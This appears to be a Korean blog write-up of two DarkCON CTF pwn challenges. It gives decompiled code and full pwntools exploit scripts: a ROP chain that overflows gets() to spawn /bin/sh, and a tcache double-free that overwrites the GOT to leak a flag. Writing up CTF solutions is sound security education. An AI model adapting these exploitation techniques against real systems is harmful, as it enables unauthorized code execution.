CTF Writeup

DarkCON CTF - PWN Writeup

LittleDev0617 2021. 2. 21. 21:33

1. EASY ROP

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbp
  __int64 v5; // [rsp-48h] [rbp-48h]
  __int64 v6; // [rsp-8h] [rbp-8h]

  __asm { endbr64 }
  v6 = v3;
  setvbuf(stdin, 0LL, 2LL, 0LL);
  setvbuf(stdout, 0LL, 2LL, 0LL);
  setvbuf(stderr, 0LL, 2LL, 0LL);
  alarm(64LL);
  puts("Welcome to the darkcon pwn!!");
  printf("Let us know your name:");
  return gets(&v5);
}

 

 

dynamic 이 아닌 static link 바이너리다.

gets 로 입력하니 SROP 하면 될 것 같다.

from pwn import *

context.log_level = 'debug'
#p = process('./easy-rop')
p = remote('65.1.92.179', 49153)
#gdb.attach(p,'b*0x0000000000401de5')

syscall = 0x00000000004510b0
bss = 0x4c2220
pop_rax = 0x00000000004175eb
pop_rsi = 0x000000000040f4be
pop_rdi = 0x000000000040191a
pop_rdx = 0x000000000040181f

payload = ''
payload += 'a'*0x40
payload += 'b'*8

#read(0,bss,8)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(8)

payload += p64(syscall)
payload += p64(0x0000000000401de5) # main

p.sendlineafter('name:',payload)
p.send('/bin/sh\x00')

payload2 = ''
payload2 += 'a'*0x40
payload2 += 'b'*8
payload2 += p64(pop_rax)
payload2 += p64(59)
payload2 += p64(pop_rdi)
payload2 += p64(bss)
payload2 += p64(pop_rsi)
payload2 += p64(0)
payload2 += p64(pop_rdx)
payload2 += p64(0)
payload2 += p64(syscall)
p.sendlineafter('name:',payload2)
p.interactive()

2.Warmup

이 문제에 삽질을 좀 했다.

일단 코드부터

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  int v5; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  sub_400C30(a1, a2, a3);
  qword_6020C0[0] = (__int64)malloc(0x10uLL);
  v3 = qword_6020C0[0];
  *(_QWORD *)qword_6020C0[0] = '{NOCkrad';
  *(_QWORD *)(v3 + 8) = '}XXXXXXX';
  *(_BYTE *)(v3 + 16) = 0;
  printf("Hello traveller! Here is a gift: %p\n", &strcpy);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v5);
      fgetc(stdin);
      if ( v5 != 1 )
        break;
      create();
    }
    if ( v5 != 2 )
      break;
    delete();
  }
  if ( v5 == 3 )
    exit(0);
  return 0LL;
}

unsigned __int64 create()
{
  int v1; // [rsp+Ch] [rbp-54h]
  char s; // [rsp+10h] [rbp-50h]
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v1 = getIndex();
  printf("size: ");
  __isoc99_scanf("%d", &dword_602140[v1]);
  fgetc(stdin);
  if ( dword_602140[v1] <= 32 && dword_602140[v1] > 0 )
  {
    printf("input: ");
    fgets(&s, dword_602140[v1], stdin);
    qword_6020C0[v1] = (__int64)malloc(dword_602140[v1]);
    strcpy((char *)qword_6020C0[v1], &s);
  }
  return __readfsqword(0x28u) ^ v3;
}

void delete()
{
  int v0; // ST0C_4

  v0 = getIndex();
  free((void *)qword_6020C0[v0]);
}

__int64 getIndex()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("index: ");
  __isoc99_scanf("%d", &v1);
  fgetc(stdin);
  if ( v1 > 15 || v1 < 0 )
    exit(0);
  return (unsigned int)v1;
}

libc 파일을 문제와 같이 줬는데,

문제를 풀던 도중 오프셋이 로컬이랑 똑같이 나와서 보니까 내 우분투 libc랑 똑같았다.

 

 

그래서 로되리안(로컬은 되지만 리모트는 안ㄷ..) 상황이 오지는 않겠구나 생각했다.

암튼 문제를 보면 처음에 선물이랍시고 strcpy 주소를 준다.

이걸 받으면 따로 leak 할 필요가 없으니 분명히 좋은 선물이다.

이걸로 libc base 구하는 건 넘어가고,

 

그 다음에는 qword_6020C0[0] 에 Flag를 담는다.

흠..

생각해보면 쉘을 따는게 아니라 그냥 저 주소를 Print하면 끝이난다.

 

 

 

RELRO도 Partial 이라 free의 got를 puts로 바꾸고 delete(0) 하면 flag가 나올 것이다.

 

libc가 우분투 18.04 인 내거랑 같았으니 tcache로 먼저 할당해줄 것이다.

tcache에선 Double Free를 체크하지 않는다.

create(1,0x10,'aaaaaaaa')

delete(1)
delete(1)

create(2,0x10,p64(e.got['free']))
create(3,0x10,'bbbbbbbb')

create(4,0x10,p64(puts))

위와 같은 페이로드면 2번, 3번 인덱스에  1번 청크가 할당되고,

2번 인덱스에 e.got['free']를 fd에 써줌으로서 4번 인덱스가 e.got['free']에 할당되도록 한다.

 

 

그런데 선물로 준 strcpy 주소의 끝부분이 내 libc strcpy 오프셋이랑 달랐다.

?

 

 

8b0으로 끝나야하는데 bc0으로 끝난다.

 

 

바로 gdb 켜서 확인했다.

 

 

보니까 __strcpy_sse3 이 나왔다.

strcpy 하위 코드? 같아보이는데..

strcpy 와의 오프셋을 구해봤다.

 

 

libc base와는 0x17bbc0 차이.

이러면 main 에서 준 strcpy 주소랑 끝 3개가 맞다.

from pwn import *

#context.log_level = 'debug'

#libc = ELF('./warmup.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./warmup')
p = process('./warmup')
#p = remote('65.1.92.179', 49155)
#gdb.attach(p,'b*0x400917')
#pause()

def create(index, size, content):
	p.sendlineafter('exit\n','1')
	p.sendlineafter('index: ',str(index))
	p.sendlineafter('size: ',str(size))
	p.sendlineafter('input: ',content)

def delete(index):
	p.sendlineafter('exit\n','2')
	p.sendlineafter('index: ',str(index))


#log.info('offset : %x' % libc.symbols['strcpy'])
p.recvuntil('gift: ')
leak = int(p.recv(14),16)
log.info('leak %x' % leak)
base = leak - (libc.symbols['strcpy'] + 0xde310)
puts = base + libc.symbols['puts']

log.info('%x'% base)

create(1,0x10,'aaaaaaaa')

delete(1)
delete(1)

create(2,0x10,p64(e.got['free']))
create(3,0x10,'bbbbbbbb')

create(4,0x10,p64(puts))

delete(0)

p.interactive()

 

 

플래그가 떴다.

리모르토 해보자.

 

로되리안..

 

분명 libc에선 bc0으로 끝나는데 리모트에선 5b0으로 끝나는 주소를 준다.

여기선 아까마냥 gdb로 깔수도 없어서 저 5b0 오프셋을 가진 주소를 찾을 수도 없다.

결국에 libc 어셈을 뒤져서 5b0을 가진 곳을 하나씩 넣어보는데..

 

몇시간 후에 발견한게 있다.

 

libc.so.6

 

아래의 17BBC0 은 로컬에서 선물로 준 오프셋이고,

B65B0 은 리모트에서 준 오프셋이다.

설마 되겠어 하고 이 오프셋으로 base를 구하니..

 

 

플래그를 얻었다.. ㅇㅅㅇ

아직도 왜 이런 일이 발생한건지 모르겠다.

처음엔 strcpy 주소를 준다길래 좋아했고,

libc가 내거랑 똑같길래 더 좋아졌는데

오프셋이 다르니 ㅋㅋㅋㅋㅋ

 

암튼 최종_수정_진짜최종_익스코드.py

from pwn import *

#context.log_level = 'debug'

#libc = ELF('./warmup.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
e = ELF('./warmup')
#p = process('./warmup')
p = remote('65.1.92.179', 49155)
#gdb.attach(p,'b*0x400917')
#pause()

def create(index, size, content):
	p.sendlineafter('exit\n','1')
	p.sendlineafter('index: ',str(index))
	p.sendlineafter('size: ',str(size))
	p.sendlineafter('input: ',content)

def delete(index):
	p.sendlineafter('exit\n','2')
	p.sendlineafter('index: ',str(index))


#log.info('offset : %x' % libc.symbols['strcpy'])
p.recvuntil('gift: ')
leak = int(p.recv(14),16)
log.info('leak %x' % leak)
#base = leak - (libc.symbols['strcpy'] + 0xde310)
#base = leak - libc.symbols['strcpy']
base = leak - 0xB65B0
puts = base + libc.symbols['puts']

log.info('%x'% base)

create(1,0x10,'aaaaaaaa')

delete(1)
delete(1)

create(2,0x10,p64(e.got['free']))
create(3,0x10,'bbbbbbbb')

create(4,0x10,p64(puts))

delete(0)

p.interactive()